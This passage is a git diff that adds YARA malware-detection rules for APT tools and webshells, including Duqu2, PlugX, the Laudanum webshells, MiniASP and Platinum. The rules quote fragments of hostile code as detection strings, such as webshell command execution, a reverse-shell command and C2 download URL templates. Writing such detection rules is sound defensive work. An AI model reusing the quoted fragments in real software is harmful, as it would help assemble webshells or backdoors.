+		uint16(0) == 0x5a4d and filesize < 82KB and all of them
+}
+
+rule APT_Kaspersky_Duqu2_msi3_32 {
+	meta:
+		description = "Kaspersky APT Report - Duqu2 Sample - file d8a849654ab97debaf28ae5b749c3b1ff1812ea49978713853333db48c3972c3"
+		author = "Florian Roth"
+		reference = "https://goo.gl/7yKyOj"
+		date = "2015-06-10"
+		hash = "53d9ef9e0267f10cc10f78331a9e491b3211046b"
+	strings:
+		$s0 = "ProcessUserAccounts" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "SELECT `UserName`, `Password`, `Attributes` FROM `CustomUserAccounts`" fullword wide /* PEStudio Blacklist: strings */
+		$s2 = "SELECT `UserName` FROM `CustomUserAccounts`" fullword wide /* PEStudio Blacklist: strings */
+		$s3 = "SELECT `Data` FROM `Binary` WHERE `Name`='CryptHash%i'" fullword wide
+		$s4 = "msi3_32.dll" fullword wide
+		$s5 = "RunDLL" fullword ascii
+		$s6 = "MSI Custom Action v3" fullword wide
+		$s7 = "msi3_32" fullword wide
+		$s8 = "Operating System" fullword wide /* PEStudio Blacklist: strings */ /* Goodware String - occured 9203 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 72KB and all of them
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_keylogger_cn.yar b/yara-mikesxrs/Florian Roth/apt_keylogger_cn.yar
new file mode 100644
index 0000000..018b7a9
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_keylogger_cn.yar	
@@ -0,0 +1,33 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-03-07
+	Identifier: CN Keylogger APT
+*/
+
+rule Keylogger_CN_APT {
+	meta:
+		description = "Keylogger - generic rule for a Chinese variant"
+		author = "Florian Roth"
+		date = "2016-03-07"
+		score = 75
+		hash = "3efb3b5be39489f19d83af869f11a8ef8e9a09c3c7c0ad84da31fc45afcf06e7"
+	strings:
+		$x1 = "Mozilla/4.0 (compatible; MSIE6.0;Windows NT 5.1)" fullword ascii
+		$x2 = "attrib -s -h -r c:\\ntldr" fullword ascii
+		$x3 = "%sWindows NT %d.%d" fullword ascii
+		$x4 = "Referer: http://%s/%s.aspx?n=" fullword ascii
+
+		$s1 = "\\cmd.exe /c \"systeminfo.exe >> " fullword ascii
+		$s2 = "%s\\cmd.exe /c %s >> \"%s\"" fullword ascii
+		$s3 = "shutdown.exe -r -t 0" fullword ascii
+		$s4 = "dir \"%SystemDrive%\\\" /s /a" fullword ascii
+		$s5 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;" fullword ascii
+		$s6 = "http_s.exe" fullword ascii
+		$s7 = "User Agent\\Post Platform\\" fullword ascii
+		$s8 = "desktop.tmp" fullword ascii
+		$s9 = "\\support.icw" fullword ascii
+		$s10 = "agc.tmp" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 100KB and 1 of ($x*) ) or 3 of them
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_korplug_fast.yar b/yara-mikesxrs/Florian Roth/apt_korplug_fast.yar
new file mode 100644
index 0000000..d869254
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_korplug_fast.yar	
@@ -0,0 +1,25 @@
+rule Korplug_FAST {
+    meta:
+        description = "Rule to detect Korplug/PlugX FAST variant"
+        author = "Florian Roth"
+        date = "2015-08-20"
+        hash = "c437465db42268332543fbf6fd6a560ca010f19e0fd56562fb83fb704824b371"
+    strings:
+        $x1 = "%s\\rundll32.exe \"%s\", ShadowPlay" fullword ascii
+
+        $a1 = "ShadowPlay" fullword ascii
+
+        $s1 = "%s\\rundll32.exe \"%s\"," fullword ascii
+        $s2 = "nvdisps.dll" fullword ascii
+        $s3 = "%snvdisps.dll" fullword ascii
+        $s4 = "\\winhlp32.exe" fullword ascii
+        $s5 = "nvdisps_user.dat" fullword ascii
+        $s6 = "%snvdisps_user.dat" fullword ascii
+    condition:
+        uint16(0) == 0x5a4d and filesize < 500KB and 
+        (
+            $x1 or
+            ($a1 and 1 of ($s*)) or 
+            4 of ($s*)
+        )
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Florian Roth/apt_laudanum_webshells.yar b/yara-mikesxrs/Florian Roth/apt_laudanum_webshells.yar
new file mode 100644
index 0000000..9c5b193
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_laudanum_webshells.yar	
@@ -0,0 +1,309 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-06-22
+	Identifier: Laudanum
+*/
+
+rule asp_file {
+	meta:
+		description = "Laudanum Injector Tools - file file.asp"
+		author = "Florian Roth"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "ff5b1a9598735440bdbaa768b524c639e22f53c5"
+	strings:
+		$s1 = "' *** Written by Tim Medin <tim@counterhack.com>" fullword ascii
+		$s2 = "Response.BinaryWrite(stream.Read)" fullword ascii
+		$s3 = "Response.Write(Response.Status & Request.ServerVariables(\"REMOTE_ADDR\"))" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "%><a href=\"<%=Request.ServerVariables(\"URL\")%>\">web root</a><br/><%" fullword ascii /* PEStudio Blacklist: strings */
+		$s5 = "set folder = fso.GetFolder(path)" fullword ascii
+		$s6 = "Set file = fso.GetFile(filepath)" fullword ascii
+	condition:
+		uint16(0) == 0x253c and filesize < 30KB and 5 of them
+}
+
+rule php_killnc {
+	meta:
+		description = "Laudanum Injector Tools - file killnc.php"
+		author = "Florian Roth"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "c0dee56ee68719d5ec39e773621ffe40b144fda5"
+	strings:
+		$s1 = "if ($_SERVER[\"REMOTE_ADDR\"] == $IP)" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "header(\"HTTP/1.0 404 Not Found\");" fullword ascii
+		$s3 = "<?php echo exec('killall nc');?>" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "<title>Laudanum Kill nc</title>" fullword ascii /* PEStudio Blacklist: strings */
+		$s5 = "foreach ($allowedIPs as $IP) {" fullword ascii
+	condition:
+		filesize < 15KB and 4 of them
+}
+
+rule asp_shell {
+	meta:
+		description = "Laudanum Injector Tools - file shell.asp"
+		author = "Florian Roth"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "8bf1ff6f8edd45e3102be5f8a1fe030752f45613"
+	strings:
+		$s1 = "<form action=\"shell.asp\" method=\"POST\" name=\"shell\">" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "%ComSpec% /c dir" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "Set objCmd = wShell.Exec(cmd)" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "Server.ScriptTimeout = 180" fullword ascii /* PEStudio Blacklist: strings */
+		$s5 = "cmd = Request.Form(\"cmd\")" fullword ascii /* PEStudio Blacklist: strings */
+		$s6 = "' ***  http://laudanum.secureideas.net" fullword ascii
+		$s7 = "Dim wshell, intReturn, strPResult" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 15KB and 4 of them
+}
+
+rule settings {
+	meta:
+		description = "Laudanum Injector Tools - file settings.php"
+		author = "Florian Roth"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "588739b9e4ef2dbb0b4cf630b73295d8134cc801"
+	strings:
+		$s1 = "Port: <input name=\"port\" type=\"text\" value=\"8888\">" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "<li>Reverse Shell - " fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "<li><a href=\"<?php echo plugins_url('file.php', __FILE__);?>\">File Browser</a>" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 13KB and all of them
+}
+
+rule asp_proxy {
+	meta:
+		description = "Laudanum Injector Tools - file proxy.asp"
+		author = "Florian Roth"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "51e97040d1737618b1775578a772fa6c5a31afd8"
+	strings:
+		$s1 = "'response.write \"<br/>  -value:\" & request.querystring(key)(j)" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "q = q & \"&\" & key & \"=\" & request.querystring(key)(j)" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "for each i in Split(http.getAllResponseHeaders, vbLf)" fullword ascii
+		$s4 = "'urlquery = mid(urltemp, instr(urltemp, \"?\") + 1)" fullword ascii /* PEStudio Blacklist: strings */
+		$s5 = "s = urlscheme & urlhost & urlport & urlpath" fullword ascii /* PEStudio Blacklist: strings */
+		$s6 = "Set http = Server.CreateObject(\"Microsoft.XMLHTTP\")" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 50KB and all of them
+}
+
+rule cfm_shell {
+	meta:
+		description = "Laudanum Injector Tools - file shell.cfm"
+		author = "Florian Roth"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "885e1783b07c73e7d47d3283be303c9719419b92"
+	strings:
+		$s1 = "Executable: <Input type=\"text\" name=\"cmd\" value=\"cmd.exe\"><br>" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "<cfif ( #suppliedCode# neq secretCode )>" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "<cfif IsDefined(\"form.cmd\")>" fullword ascii
+	condition:
+		filesize < 20KB and 2 of them
+}
+
+rule aspx_shell {
+	meta:
+		description = "Laudanum Injector Tools - file shell.aspx"
+		author = "Florian Roth"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "076aa781a004ecb2bf545357fd36dcbafdd68b1a"
+	strings:
+		$s1 = "remoteIp = HttpContext.Current.Request.Headers[\"X-Forwarded-For\"].Split(new" ascii /* PEStudio Blacklist: strings */
+		$s2 = "remoteIp = Request.UserHostAddress;" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "<form method=\"post\" name=\"shell\">" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "<body onload=\"document.shell.c.focus()\">" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 20KB and all of them
+}
+
+rule php_shell {
+	meta:
+		description = "Laudanum Injector Tools - file shell.php"
+		author = "Florian Roth"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "dc5c03a21267d024ef0f5ab96a34e3f6423dfcd6"
+	strings:
+		$s1 = "command_hist[current_line] = document.shell.command.value;" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "if (e.keyCode == 38 && current_line < command_hist.length-1) {" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "array_unshift($_SESSION['history'], $command);" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "if (preg_match('/^[[:blank:]]*cd[[:blank:]]*$/', $command)) {" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 40KB and all of them
+}
+
+rule php_reverse_shell {
+	meta:
+		description = "Laudanum Injector Tools - file php-reverse-shell.php"
+		author = "Florian Roth"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "3ef03bbe3649535a03315dcfc1a1208a09cea49d"
+	strings:
+		$s1 = "$process = proc_open($shell, $descriptorspec, $pipes);" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "printit(\"Successfully opened reverse shell to $ip:$port\");" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "$input = fread($pipes[1], $chunk_size);" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 15KB and all of them
+}
+
+rule php_dns {
+	meta:
+		description = "Laudanum Injector Tools - file dns.php"
+		author = "Florian Roth"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "01d5d16d876c55d77e094ce2b9c237de43b21a16"
+	strings:
+		$s1 = "$query = isset($_POST['query']) ? $_POST['query'] : '';" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "$result = dns_get_record($query, $types[$type], $authns, $addtl);" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "if ($_SERVER[\"REMOTE_ADDR\"] == $IP)" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "foreach (array_keys($types) as $t) {" fullword ascii
+	condition:
+		filesize < 15KB and all of them
+}
+
+rule WEB_INF_web {
+	meta:
+		description = "Laudanum Injector Tools - file web.xml"
+		author = "Florian Roth"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "0251baed0a16c451f9d67dddce04a45dc26cb4a3"
+	strings:
+		$s1 = "<servlet-name>Command</servlet-name>" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "<jsp-file>/cmd.jsp</jsp-file>" fullword ascii
+	condition:
+		filesize < 1KB and all of them
+}
+
+rule jsp_cmd {
+	meta:
+		description = "Laudanum Injector Tools - file cmd.war"
+		author = "Florian Roth"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "55e4c3dc00cfab7ac16e7cfb53c11b0c01c16d3d"
+	strings:
+		$s0 = "cmd.jsp}" fullword ascii
+		$s1 = "cmd.jspPK" fullword ascii
+		$s2 = "WEB-INF/web.xml" fullword ascii /* Goodware String - occured 1 times */
+		$s3 = "WEB-INF/web.xmlPK" fullword ascii /* Goodware String - occured 1 times */
+		$s4 = "META-INF/MANIFEST.MF" fullword ascii /* Goodware String - occured 12 times */
+	condition:
+		uint16(0) == 0x4b50 and filesize < 2KB and all of them
+}
+
+rule laudanum {
+	meta:
+		description = "Laudanum Injector Tools - file laudanum.php"
+		author = "Florian Roth"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "fd498c8b195967db01f68776ff5e36a06c9dfbfe"
+	strings:
+		$s1 = "public function __activate()" fullword ascii
+		$s2 = "register_activation_hook(__FILE__, array('WP_Laudanum', 'activate'));" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 5KB and all of them
+}
+
+rule php_file {
+	meta:
+		description = "Laudanum Injector Tools - file file.php"
+		author = "Florian Roth"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "7421d33e8007c92c8642a36cba7351c7f95a4335"
+	strings:
+		$s1 = "$allowedIPs =" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "<a href=\"<?php echo $_SERVER['PHP_SELF']  ?>\">Home</a><br/>" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "$dir  = isset($_GET[\"dir\"])  ? $_GET[\"dir\"]  : \".\";" fullword ascii
+		$s4 = "$curdir .= substr($curdir, -1) != \"/\" ? \"/\" : \"\";" fullword ascii
+	condition:
+		filesize < 10KB and all of them
+}
+
+rule warfiles_cmd {
+	meta:
+		description = "Laudanum Injector Tools - file cmd.jsp"
+		author = "Florian Roth"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "3ae3d837e7b362de738cf7fad78eded0dccf601f"
+	strings:
+		$s1 = "Process p = Runtime.getRuntime().exec(request.getParameter(\"cmd\"));" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "out.println(\"Command: \" + request.getParameter(\"cmd\") + \"<BR>\");" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "<FORM METHOD=\"GET\" NAME=\"myform\" ACTION=\"\">" fullword ascii
+		$s4 = "String disr = dis.readLine();" fullword ascii
+	condition:
+		filesize < 2KB and all of them
+}
+
+rule asp_dns {
+	meta:
+		description = "Laudanum Injector Tools - file dns.asp"
+		author = "Florian Roth"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "5532154dd67800d33dace01103e9b2c4f3d01d51"
+	strings:
+		$s1 = "command = \"nslookup -type=\" & qtype & \" \" & query " fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "Set objCmd = objWShell.Exec(command)" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "Response.Write command & \"<br>\"" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "<form name=\"dns\" method=\"POST\">" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 21KB and all of them
+}
+
+rule php_reverse_shell_2 {
+	meta:
+		description = "Laudanum Injector Tools - file php-reverse-shell.php"
+		author = "Florian Roth"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "025db3c3473413064f0606d93d155c7eb5049c42"
+	strings:
+		$s1 = "$process = proc_open($shell, $descriptorspec, $pipes);" fullword ascii /* PEStudio Blacklist: strings */
+		$s7 = "$shell = 'uname -a; w; id; /bin/sh -i';" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 10KB and all of them
+}
+
+rule Laudanum_Tools_Generic {
+	meta:
+		description = "Laudanum Injector Tools"
+		author = "Florian Roth"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		super_rule = 1
+		hash0 = "076aa781a004ecb2bf545357fd36dcbafdd68b1a"
+		hash1 = "885e1783b07c73e7d47d3283be303c9719419b92"
+		hash2 = "01d5d16d876c55d77e094ce2b9c237de43b21a16"
+		hash3 = "7421d33e8007c92c8642a36cba7351c7f95a4335"
+		hash4 = "f49291aef9165ee4904d2d8c3cf5a6515ca0794f"
+		hash5 = "c0dee56ee68719d5ec39e773621ffe40b144fda5"
+		hash6 = "f32b9c2cc3a61fa326e9caebce28ef94a7a00c9a"
+		hash7 = "dc5c03a21267d024ef0f5ab96a34e3f6423dfcd6"
+		hash8 = "fd498c8b195967db01f68776ff5e36a06c9dfbfe"
+		hash9 = "b50ae35fcf767466f6ca25984cc008b7629676b8"
+		hash10 = "5570d10244d90ef53b74e2ac287fc657e38200f0"
+		hash11 = "42bcb491a11b4703c125daf1747cf2a40a1b36f3"
+		hash12 = "83e4eaaa2cf6898d7f83ab80158b64b1d48096f4"
+		hash13 = "dec7ea322898690a7f91db9377f035ad7072b8d7"
+		hash14 = "a2272b8a4221c6cc373915f0cc555fe55d65ac4d"
+		hash15 = "588739b9e4ef2dbb0b4cf630b73295d8134cc801"
+		hash16 = "43320dc23fb2ed26b882512e7c0bfdc64e2c1849"
+	strings:
+		$s1 = "***  laudanum@secureideas.net" fullword ascii
+		$s2 = "*** Laudanum Project" fullword ascii
+	condition:
+		filesize < 60KB and all of them
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_miniasp.yar b/yara-mikesxrs/Florian Roth/apt_miniasp.yar
new file mode 100644
index 0000000..7be1499
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_miniasp.yar	
@@ -0,0 +1,36 @@
+
+rule APT_Malware_CommentCrew_MiniASP {
+	meta:
+		description = "CommentCrew Malware MiniASP APT"
+		author = "Florian Roth"
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		super_rule = 1
+		hash0 = "0af4360a5ae54d789a8814bf7791d5c77136d625"
+		hash1 = "777bf8def279942a25750feffc11d8a36cc0acf9"
+		hash2 = "173f20b126cb57fc8ab04d01ae223071e2345f97"
+	strings:
+		$x1 = "\\MiniAsp4\\Release\\MiniAsp.pdb" ascii /* score: '19.02' */
+		$x2 = "run http://%s/logo.png setup.exe" fullword ascii /* PEStudio Blacklist: strings */ /* score: '37.02' */
+		$x3 = "d:\\command.txt" fullword ascii /* PEStudio Blacklist: strings */ /* score: '28.01' */
+
+		$z1 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR " ascii /* PEStudio Blacklist: strings */ /* score: '24.02' */
+		$z2 = "Mozilla/4.0 (compatible; MSIE 7.4; Win32;32-bit)" fullword ascii /* PEStudio Blacklist: strings */ /* score: '22.03' */
+		$z3 = "User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC" ascii /* PEStudio Blacklist: agent */ /* score: '32.03' */
+		
+		$s1 = "http://%s/device_command.asp?device_id=%s&cv=%s&command=%s" fullword ascii /* PEStudio Blacklist: strings */ /* score: '36.02' */
+		$s2 = "kill process error!" fullword ascii /* PEStudio Blacklist: strings */ /* score: '24.04' */
+		$s3 = "kill process success!" fullword ascii /* PEStudio Blacklist: strings */ /* score: '21.04' */
+		$s4 = "pickup command error!" fullword ascii /* PEStudio Blacklist: strings */ /* score: '21.04' */
+		$s5 = "http://%s/record.asp?device_t=%s&key=%s&device_id=%s&cv=%s&result=%s" fullword ascii /* score: '20.01' */
+		$s6 = "no command" fullword ascii /* PEStudio Blacklist: strings */ /* score: '19.05' */
+		$s7 = "software\\microsoft\\windows\\currentversion\\run" fullword ascii /* score: '19.02' */
+		$s8 = "command is null!" fullword ascii /* PEStudio Blacklist: strings */ /* score: '18.05' */
+		$s9 = "pickup command Ok!" fullword ascii /* PEStudio Blacklist: strings */ /* score: '18.04' */
+		$s10 = "http://%s/result_%s.htm" fullword ascii /* score: '18.01' */
+	condition:
+		uint16(0) == 0x5a4d and 
+		( 1 of ($x*) ) or 
+		( all of ($z*) ) or 
+		( 8 of ($s*) )
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Florian Roth/apt_minidionis.yar b/yara-mikesxrs/Florian Roth/apt_minidionis.yar
new file mode 100644
index 0000000..f575f4d
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_minidionis.yar	
@@ -0,0 +1,81 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-07-20
+	Identifier: MiniDionis
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule MiniDionis_readerView {
+	meta:
+		description = "MiniDionis Malware - file readerView.exe / adobe.exe"
+		author = "Florian Roth"
+		reference = "http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3950"
+		date = "2015-07-20"
+		/* Original Hash */
+		hash1 = "ee5eb9d57c3611e91a27bb1fc2d0aaa6bbfa6c69ab16e65e7123c7c49d46f145"
+		/* Derived Samples */
+		hash2 = "a713982d04d2048a575912a5fc37c93091619becd5b21e96f049890435940004"
+		hash3 = "88a40d5b679bccf9641009514b3d18b09e68b609ffaf414574a6eca6536e8b8f"
+		hash4 = "97d8725e39d263ed21856477ed09738755134b5c0d0b9ae86ebb1cdd4cdc18b7"
+		hash5 = "ed7abf93963395ce9c9cba83a864acb4ed5b6e57fd9a6153f0248b8ccc4fdb46"
+		hash6 = "56ac764b81eb216ebed5a5ad38e703805ba3e1ca7d63501ba60a1fb52c7ebb6e"
+	strings:
+		$s1 = "%ws_out%ws" fullword wide /* score: '8.00' */
+		$s2 = "dnlibsh" fullword ascii /* score: '7.00' */
+
+		$op0 = { 0f b6 80 68 0e 41 00 0b c8 c1 e1 08 0f b6 c2 8b } /* Opcode */
+		$op1 = { 8b ce e8 f8 01 00 00 85 c0 74 41 83 7d f8 00 0f } /* Opcode */
+		$op2 = { e8 2f a2 ff ff 83 20 00 83 c8 ff 5f 5e 5d c3 55 } /* Opcode */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and all of ($s*) and 1 of ($op*)
+}
+
+/* Related - SFX files or packed files with typical malware content -------- */
+
+rule Malicious_SFX1 {
+	meta:
+		description = "SFX with voicemail content"
+		author = "Florian Roth"
+		reference = "http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3950"
+		date = "2015-07-20"
+		hash = "c0675b84f5960e95962d299d4c41511bbf6f8f5f5585bdacd1ae567e904cb92f"
+	strings:
+		$s0 = "voicemail" ascii /* PEStudio Blacklist: strings */ /* score: '30.00' */
+		$s1 = ".exe" ascii
+	condition:
+		uint16(0) == 0x4b50 and filesize < 1000KB and $s0 in (3..80) and $s1 in (3..80) 
+}
+
+rule Malicious_SFX2 {
+	meta:
+		description = "SFX with adobe.exe content"
+		author = "Florian Roth"
+		reference = "http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3950"
+		date = "2015-07-20"
+		hash = "502e42dc99873c52c3ca11dd3df25aad40d2b083069e8c22dd45da887f81d14d"
+	strings:
+		$s1 = "adobe.exe" fullword ascii /* PEStudio Blacklist: strings */ /* score: '27.00' */
+		$s2 = "Extracting files to %s folder$Extracting files to temporary folder" fullword wide /* PEStudio Blacklist: strings */ /* score: '26.00' */
+		$s3 = "GETPASSWORD1" fullword wide /* PEStudio Blacklist: strings */ /* score: '23.00' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and all of them
+}
+
+rule MiniDionis_VBS_Dropped {
+	meta:
+		description = "Dropped File - 1.vbs"
+		author = "Florian Roth"
+		reference = "https://malwr.com/analysis/ZDc4ZmIyZDI4MTVjNGY5NWI0YzE3YjIzNGFjZTcyYTY/"
+		date = "2015-07-21"
+		hash = "97dd1ee3aca815eb655a5de9e9e8945e7ba57f458019be6e1b9acb5731fa6646"
+	strings:
+		$s1 = "Wscript.Sleep 5000" ascii
+		$s2 = "Set FSO = CreateObject(\"Scripting.FileSystemObject\")" ascii
+		$s3 = "Set WshShell = CreateObject(\"WScript.Shell\")" ascii
+		$s4 = "If(FSO.FileExists(\"" ascii
+		$s5 = "then FSO.DeleteFile(\".\\" ascii
+	condition:
+		filesize < 1KB and all of them and $s1 in (0..40)
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_mofang.yar b/yara-mikesxrs/Florian Roth/apt_mofang.yar
new file mode 100644
index 0000000..3df1777
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_mofang.yar	
@@ -0,0 +1,47 @@
+rule shimrat {
+   meta:
+      description = "Detects ShimRat and the ShimRat loader"
+      author = "Yonathan Klijnsma (yonathan.klijnsma@fox-it.com)"
+      date = "20/11/2015"
+   strings:
+      $dll = ".dll"
+      $dat = ".dat"
+      $headersig = "QWERTYUIOPLKJHG"
+      $datasig = "MNBVCXZLKJHGFDS"
+      $datamarker1 = "Data$$00"
+      $datamarker2 = "Data$$01%c%sData"
+      $cmdlineformat = "ping localhost -n 9 /c %s > nul"
+      $demoproject_keyword1 = "Demo"
+      $demoproject_keyword2 = "Win32App"
+      $comspec = "COMSPEC"
+      $shim_func1 = "ShimMain"
+      $shim_func2 = "NotifyShims"
+      $shim_func3 = "GetHookAPIs"
+   condition:
+      ($dll and $dat and $headersig and $datasig) or
+      ($datamarker1 and $datamarker2) or
+      ($cmdlineformat and $demoproject_keyword1 and $demoproject_keyword2 and $comspec) or
+      ($dll and $dat and $shim_func1 and $shim_func2 and $shim_func3)
+}
+
+rule shimratreporter {
+   meta:
+      description = "Detects ShimRatReporter"
+      author = "Yonathan Klijnsma (yonathan.klijnsma@fox-it.com)"
+      date = "20/11/2015"
+   strings:
+      $IpInfo = "IP-INFO"
+      $NetworkInfo = "Network-INFO"
+      $OsInfo = "OS-INFO"
+      $ProcessInfo = "Process-INFO"
+      $BrowserInfo = "Browser-INFO"
+      $QueryUserInfo = "QueryUser-INFO"
+      $UsersInfo = "Users-INFO"
+      $SoftwareInfo = "Software-INFO"
+      $AddressFormat = "%02X-%02X-%02X-%02X-%02X-%02X"
+      $proxy_str = "(from environment) = %s"
+      $netuserfun = "NetUserEnum"
+      $networkparams = "GetNetworkParams"
+   condition:
+      all of them
+}
diff --git a/yara-mikesxrs/Florian Roth/apt_ms_platinum.yara b/yara-mikesxrs/Florian Roth/apt_ms_platinum.yara
new file mode 100644
index 0000000..b181938
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/apt_ms_platinum.yara	
@@ -0,0 +1,398 @@
+rule Trojan_Win32_PlaSrv : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Hotpatching Injector"
+		original_sample_sha1 = "ff7f949da665ba8ce9fb01da357b51415634eaad"
+		unpacked_sample_sha1 = "dff2fee984ba9f5a8f5d97582c83fca4fa1fe131"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+	strings:
+		$Section_name = ".hotp1"
+		$offset_x59 = { C7 80 64 01 00 00 00 00 01 00 }
+	
+	condition:
+		$Section_name and $offset_x59
+}
+
+rule Trojan_Win32_Platual : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Installer component"
+		original_sample_sha1 = "e0ac2ae221328313a7eee33e9be0924c46e2beb9"
+		unpacked_sample_sha1 = "ccaf36c2d02c3c5ca24eeeb7b1eae7742a23a86a"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+	strings:
+		$class_name = "AVCObfuscation"
+		$scrambled_dir = { A8 8B B8 E3 B1 D7 FE 85 51 32 3E C0 F1 B7 73 99 }
+
+	condition:
+		$class_name and $scrambled_dir
+}
+
+rule Trojan_Win32_Plaplex : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Variant of the JPin backdoor"
+		original_sample_sha1 = "ca3bda30a3cdc15afb78e54fa1bbb9300d268d66"
+		unpacked_sample_sha1 = "2fe3c80e98bbb0cf5a0c4da286cd48ec78130a24"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+	strings:
+		$class_name1 = "AVCObfuscation"
+		$class_name2 = "AVCSetiriControl"
+
+	condition:
+		$class_name1 and $class_name2
+}
+
+rule Trojan_Win32_Dipsind_B : Platinum
+{
+	meta:
+		author = "Microsoft"
+		description = "Dipsind Family"
+		sample_sha1 = "09e0dfbb5543c708c0dd6a89fd22bbb96dc4ca1c"
+		activity_group = "Platinum"
+		version = "1.0"
+		last_modified = "2016-04-12"
+
+	strings:
+		$frg1 = {8D 90 04 01 00 00 33 C0 F2 AE F7 D1 2B F9 8B C1 8B F7 8B FA C1 E9 02 F3 A5 8B C8 83 E1 03 F3 A4 8B 4D EC 8B 15 ?? ?? ?? ?? 89 91 ?? 07 00 00 }
+		$frg2 = {68 A1 86 01 00 C1 E9 02 F3 AB 8B CA 83 E1 03 F3 AA}
+		$frg3 = {C0 E8 07 D0 E1 0A C1 8A C8 32 D0 C0 E9 07 D0 E0 0A C8 32 CA 80 F1 63}
+
